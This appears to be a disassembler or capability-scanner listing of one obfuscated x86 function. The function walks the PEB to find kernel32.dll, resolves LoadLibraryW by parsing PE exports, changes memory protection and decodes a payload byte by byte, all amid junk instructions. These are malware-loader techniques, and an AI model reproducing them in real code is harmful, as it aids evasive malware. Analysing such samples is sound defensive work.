Function at 0x4909ac
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x48fe62
add esp, 4
sub ebx, 0x18ed
call 0x48fbf5
add byte [esi], bh
dec eax
dec ecx
aas
cmp al, byte [edi + 0x40]
cmp dword [ebx - 0x147efb3c], eax
jns 0x48fbb6
add byte [eax], al
pop ebx
cmp dword [ebp - 0xc4c], 0
jne 0x48fc17
mov dword [ebp - 0x2a8], 0
jmp 0x48fe62
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
and edx, 0x14c1a
pop edx
push esi
sub esi, 0x4a23
sub esi, 0xc16c
add esi, 0xf236
and esi, 0x11ec4
pop esi
push ecx
xor ecx, 0x94ee
pop ecx
push eax
or eax, 0x5f25
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
push ebx
add esp, 4
call 0x48fc92
add byte [ebx + 0x3e], cl
inc esp
dec edi
aas
cmp al, 0x43
inc esp
add esp, 4
pop edx
push ecx
push edi
add esp, 4
call 0x48fca7
add byte [ebp + 0x3b], al
dec ecx
dec edx
dec eax
dec ecx
add esp, 4
add ecx, 0xbf56
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
push edx
add esp, 4
xor esi, 0x3786
xor esi, 0xa8af
and esi, 0x33a8
pop esi
push ecx
jmp 0x48fd27
xor ecx, 0x117d1
and ecx, 0x11a1d
or ecx, 0x5abd
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x48fd57
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x48fdb1
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x48fc7f
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x48fc7f
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x48fd9b
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x48fda5
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x48fdfa
push esi
push edi
add esp, 4
or esi, 0xcb65
pop esi
push edx
or edx, 0xd003
sub edx, 0x111
xor edx, 0x12f0a
pop edx
push ecx
push edi
add esp, 4
and ecx, 0x29a0
add ecx, 0x15685
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x48fe62
push esi
and esi, 0x50d9
or esi, 0xebbc
pop esi
push edi
jmp 0x48fe12
and edi, 0x211f
pop edi
push edx
jmp 0x48fe1f
or edx, 0xc058
sub edx, 0x1077c
pop edx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x48fe58
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x48fc23
mov dword [ebp - 0x2a8], 0
push edx
or edx, 0x35dc
pop edx
push eax
jmp 0x48fe70
add eax, 0xf02a
pop eax
push ebx
sub ebx, 0x33a8
jmp 0x48fe87
sub ebx, 0x89b
or ebx, 0x81b1
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x490799
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
or eax, 0x148dc
sub eax, 0xa194
and eax, 0x2f4e
pop eax
push esi
push edi
add esp, 4
xor esi, 0xe758
call 0x48ff68
add byte [eax], bh
xor al, 0x4b
push eax
dec eax
dec ebp
dec esi
cmp dword [edx], edi
add esp, 4
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
push esi
add esp, 4
add ebx, 0xa998
pop ebx
push esi
add esi, 0x1602e
jmp 0x490008
pop esi
push eax
push esi
add esp, 4
xor eax, 0x16a09
xor eax, 0xb7b6
add eax, 0x64e6
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x490039
mov dword [ebp - 0x710], 0
jmp 0x4902e0
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
push edi
add esp, 4
sub eax, 0xe36
pop eax
push eax
and eax, 0x1e3d
pop eax
push edi
push esi
add esp, 4
and edi, 0x16914
sub edi, 0x16782
or edi, 0x6b38
add edi, 0x202
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x490095
mov dword [ebp - 0x710], 0
jmp 0x4902e0
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
push edi
add esp, 4
call 0x4900b6
add byte [ecx + 0x49], cl
inc edx
inc eax
inc ebx
cmp al, 0x39
cmp eax, 0x4c48339
pop ecx
push ebx
jmp 0x4900c0
sub ebx, 0x5eb7
add ebx, 0x17be5
sub ebx, 0x10a37
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
push ebx
add esp, 4
add ebx, 0x53c2
xor ebx, 0x4c37
jmp 0x490116
or ebx, 0x6387
pop ebx
push edi
push esi
add esp, 4
sub edi, 0x5e44
or edi, 0xf7ef
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push ebx
add esp, 4
and esi, 0x8f40
xor esi, 0x12b39
pop esi
push eax
push ecx
add esp, 4
xor eax, 0x10e72
pop eax
push edi
add edi, 0xd498
pop edi
push ecx
push esi
add esp, 4
add ecx, 0x9043
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x4901d5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x49022f
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x4900fd
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x4900fd
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x490219
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x490223
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x490278
push ecx
call 0x490248
add byte [eax], bh
xor al, 0x4a
cmp dl, byte [eax + 0x40]
inc ebx
inc ebx
inc ebx
add esp, 4
sub ecx, 0x13d83
xor ecx, 0xac90
pop ecx
push eax
push esi
add esp, 4
and eax, 0x137b0
sub eax, 0x2b9
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4902e0
push esi
push edi
add esp, 4
add esi, 0xc31d
add esi, 0x97b7
xor esi, 0x1a35
pop esi
push edi
xor edi, 0x8bd8
sub edi, 0x4ab3
pop edi
push ebx
push ebx
add esp, 4
add ebx, 0x12a64
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x4902d6
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x4900a1
mov dword [ebp - 0x710], 0
push edi
push edx
add esp, 4
jmp 0x4902ee
sub edi, 0x10f82
jmp 0x4902fb
pop edi
push ebx
and ebx, 0x26ca
jmp 0x49030b
xor ebx, 0x5d58
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x49035c
push esi
jmp 0x490321
and esi, 0x35d8
call 0x490334
add byte [edi + edi + 0x43], cl
dec ebp
inc ecx
inc ebp
xor eax, 0x8104c483
mov dl, 0x62
add byte [eax], al
pop esi
push ecx
push ebx
add esp, 4
jmp 0x49034c
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x490e84
push edx
call 0x490369
add byte [esi], bh
dec edx
xor edi, dword [edx + ecx*2]
push eax
add esp, 4
pop edx
push edx
add edx, 0x1606
and edx, 0x141b3
call 0x49038a
add byte [edx], bh
inc eax
inc edx
xor edi, dword [edi]
inc esp
xor al, 0x40
cmp ecx, dword [edi - 0x7d]
les eax, [edx + ebx*2]
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4903cd
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4906be
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4903f5
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4906be
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x490427
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4906be
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x49044c
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4906be
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4904a6
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4906b2
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x490516
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4905c8
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4905c8
push edx
push edi
add esp, 4
xor edx, 0x16418
xor edx, 0x249f
pop edx
push esi
and esi, 0x15e34
xor esi, 0xe8ee
pop esi
push ebx
push edi
add esp, 4
sub ebx, 0x34c9
sub ebx, 0x5b19
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x4905ba
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x4905c1
jmp 0x490507
jmp 0x4905c8
push esi
push ebx
add esp, 4
and esi, 0x147cc
or esi, 0x6277
or esi, 0x733
pop esi
push edi
and edi, 0x636a
pop edi
push edx
push esi
add esp, 4
xor edx, 0x119b6
add edx, 0xf388
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x490627
mov dword [ebp - 0xc5c], 0
jmp 0x490696
push edx
xor edx, 0x58b2
sub edx, 0x1677
sub edx, 0x15adc
or edx, 0x108c8
pop edx
push ebx
push edi
add esp, 4
sub ebx, 0x160ec
jmp 0x490652
or ebx, 0x4f0b
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x49068c
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x490696
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4906ad
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x4906be
jmp 0x490497
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x490799
push edx
push ecx
add esp, 4
and edx, 0x84e6
and edx, 0xe25b
pop edx
push edi
push eax
add esp, 4
xor edi, 0x9fdf
pop edi
push esi
push edx
add esp, 4
jmp 0x4906f4
pop esi
push eax
xor eax, 0x12a65
pop eax
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
push esi
add esp, 4
xor edx, 0x1832d
and edx, 0xcf69
call 0x490727
add byte [ebx + 0x3a], al
cmp eax, 0x454b4050
add esp, 4
and edx, 0x123f6
pop edx
push ecx
jmp 0x49073a
pop ecx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x490799
push edi
or edi, 0x7b45
call 0x49076e
add byte [ecx + 0x4b], cl
dec ecx
dec ecx
inc ebx
xor al, 0x42
aaa
dec esi
add esp, 4
xor edi, 0x822e
pop edi
push ecx
push eax
add esp, 4
or ecx, 0x6291
and ecx, 0x4739
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x490e84
push ebx
push ecx
add esp, 4
sub ebx, 0x7cfe
pop ebx
push edx
call 0x4907b5
add byte [edi + 0x4d], cl
dec eax
dec ecx
aaa
dec esi
xor al, 0x3e
inc edi
add esp, 4
xor edx, 0x1bb6
and edx, 0x16071
xor edx, 0x3fd8
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
jmp 0x4907fd
pop ecx
push esi
push edx
add esp, 4
call 0x490813
add byte [ebx], bh
inc esp
xor eax, 0x3e4b4f50
dec edx
inc ebp
inc ebx
add esp, 4
add esi, 0x6a18
pop esi
push edx
xor edx, 0xad27
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x49083d
mov dword [ebp - 0x2a8], 0
jmp 0x490ae4
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
or edx, 0x1620
call 0x490863
add byte [edx], dh
dec eax
dec eax
inc esp
push eax
dec esi
dec ebp
add esp, 4
jmp 0x49086d
pop edx
push edi
jmp 0x490874
or edi, 0xf8d1
sub edi, 0x6f7e
pop edi
cmp dword [ebp - 0xc68], 0
jne 0x490899
mov dword [ebp - 0x2a8], 0
jmp 0x490ae4
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
push ecx
add esp, 4
jmp 0x4908b0
or ebx, 0x8197
pop ebx
push eax
push ebx
add esp, 4
and eax, 0x1328f
or eax, 0x3459
add eax, 0x16d24
pop eax
push edx
sub edx, 0x144bb
pop edx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push eax
or eax, 0x143f0
xor eax, 0x17dce
pop eax
push eax
add eax, 0x35e0
and eax, 0x2f59
pop eax
push edi
or edi, 0x135a
xor edi, 0xd6b7
pop edi
push edi
or edi, 0x15169
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push eax
push edx
add esp, 4
jmp 0x490996
pop eax
push edi
or edi, 0x1591a
pop edi
push esi
call 0x4909ac
add byte [edi], dh
xor al, 0x39
dec edi
cmp byte [eax - 0x7d], dl
les eax, [ecx + eax*4]
out dx, al
popal
add byte [eax], 0
sub esi, 0x22fb
pop esi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x4909d9
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x490a33
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x490901
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x490901
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x490a1d
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x490a27
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x490a7c
push edi
push esi
add esp, 4
or edi, 0x2600
pop edi
push edi
add edi, 0x360
or edi, 0x9fc0
call 0x490a64
add byte [ebx + 0x4d], al
dec ebp
cmp al, 0x4b
inc ecx
dec ebx
cmp eax, dword ss:[ebx - 0x387efb3c]
adc eax, 0x5f0000b5
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x490ae4
push ebx
push edi
add esp, 4
xor ebx, 0xef99
or ebx, 0xbd30
pop ebx
push edi
or edi, 0x9f33
sub edi, 0xe710
pop edi
push esi
push esi
add esp, 4
add esi, 0x1513c
or esi, 0x6712
pop esi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x490ada
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x4908a5
mov dword [ebp - 0x2a8], 0
push ecx
push edi
add esp, 4
or ecx, 0x18600
jmp 0x490af5
pop ecx
push ebx
xor ebx, 0x2b8f
xor ebx, 0xa00c
pop ebx
push ebx
push edi
add esp, 4
and ebx, 0x10fa6
and ebx, 0x14cff
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push eax
or eax, 0xc08d
and eax, 0x5e1e
sub eax, 0x104d9
pop eax
push eax
push eax
add esp, 4
and eax, 0x21c3
sub eax, 0xf185
or eax, 0x11e65
sub eax, 0xf489
pop eax
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x490b87
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x490e78
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x490baf
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x490e78
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x490be1
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x490e78
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x490c06
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x490e78
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x490c60
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x490e6c
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x490cd0
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x490d82
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x490d82
push ecx
push esi
add esp, 4
xor ecx, 0xb696
or ecx, 0x8e72
pop ecx
push edi
jmp 0x490d17
jmp 0x490d1e
call 0x490d2b
add byte [edi], bh
dec ebp
inc esi
inc ebp
inc edx
dec esi
dec eax
add esp, 4
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x490d74
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x490d7b
jmp 0x490cc1
jmp 0x490d82
push edx
call 0x490d90
add byte [0x3f474543], bh
inc eax
cmp al, byte [ebx + 0xbe804c4]
add byte [eax], al
add byte [eax], al
inc ecx
dec edi
dec edi
cmp eax, 0x4e3c3b3f
push eax
cmp eax, 0xeb04c483
add eax, 0x3735504a
xor al, byte [ecx + 0x2ab0f2]
add byte [edx - 0x75], bl
test esp, edx
clc
invalid
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push eax
add eax, 0x9b39
pop eax
push edx
push edi
add esp, 4
and edx, 0x1ef
xor edx, 0x165f3
pop edx
push ecx
push esi
add esp, 4
or ecx, 0x2231
add ecx, 0x121cd
xor ecx, 0x162a2
pop ecx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x490f29
push eax
jmp 0x490eed
and eax, 0x185bc
pop eax
push edi
push edi
add esp, 4
or edi, 0x17b90
call 0x490f0b
add byte [ebx + 0x48], cl
dec ebp
cmp ecx, dword [edi + 0x3f]
add esp, 4
or edi, 0x3022
pop edi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x490f46
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x490fa2
push edx
jmp 0x490f5c
and edx, 0xfdd3
jmp 0x490f67
and edx, 0xed80
pop edx
push esi
push edi
add esp, 4
jmp 0x490f79
and esi, 0x5d3f
or esi, 0xbabe
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x490f37
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x49101a
push ecx
push edx
add esp, 4
xor ecx, 0x9e24
xor ecx, 0x8302
xor ecx, 0xca34
sub ecx, 0x1c89
pop ecx
push eax
xor eax, 0xa10d
or eax, 0xced4
xor eax, 0x47c2
pop eax
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edi
push edx
add esp, 4
call 0x49102b
add byte [edx + 0x47], al
push eax
inc esp
cmp al, 0x32
add esp, 4
add edi, 0xfaf
call 0x491042
add byte [eax + 0x36], dl
cmp al, 0x36
dec edi
aaa
xor al, byte [ebx - 0x107efb3c]
mov esi, 0x5f00005c
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff04ff
pop ecx
pop ebx
test ebx, esi
or eax, 0x85040438
rcr dword [esi], cl
invalid